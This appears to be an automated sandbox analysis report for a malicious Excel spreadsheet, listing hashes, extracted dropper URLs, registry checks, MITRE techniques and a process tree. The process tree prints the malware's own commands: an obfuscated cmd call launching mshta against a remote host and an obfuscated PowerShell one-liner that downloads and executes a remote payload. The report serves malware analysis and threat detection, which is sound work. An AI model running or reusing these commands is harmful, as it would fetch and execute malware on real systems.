f068907e6f0200e63e6bce6f97cee3a7c1159c0cf34a254b263a149261c605e6

General

Target
6c3f3742bbc041fde25b4c19810800a5.xls
Size 128KB
Sample220118-l3dc7aafb4
SHA256 f068907e6f0200e63e6bce6f97cee3a7c1159c0cf34a254b263a149261c605e6
MD5 6c3f3742bbc041fde25b4c19810800a5
SHA1 3be5e6007783879a8a39b7b223aaea3952f2707b
SHA512 efeca29d83fc0568c8ffe1c426631eb05a3eae652d28d3bc7280352d9c8ba90a26ca047af16105640f8cb377cb7624c9d6fd1d598febdcad06ce3e947d9a09cb
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1968	3832	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1640	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3428	1640	WerFault.exe	59

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3832	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3832 wrote to memory of 1968	3832	EXCEL.EXE	57
PID 3832 wrote to memory of 1968	3832	EXCEL.EXE	57
PID 1968 wrote to memory of 1640	1968	cmd.exe	59
PID 1968 wrote to memory of 1640	1968	cmd.exe	59

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c3f3742bbc041fde25b4c19810800a5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3832
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    PID:1640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3328
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1640 -s 1720
      4⤵
      Program crash
      PID:3428

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 412 -p 1640 -ip 1640
1⤵
PID:3528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3832-130-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3832-131-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3832-132-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3832-133-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Download

memory/3832-134-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

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memory/3832-137-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

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memory/3832-138-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads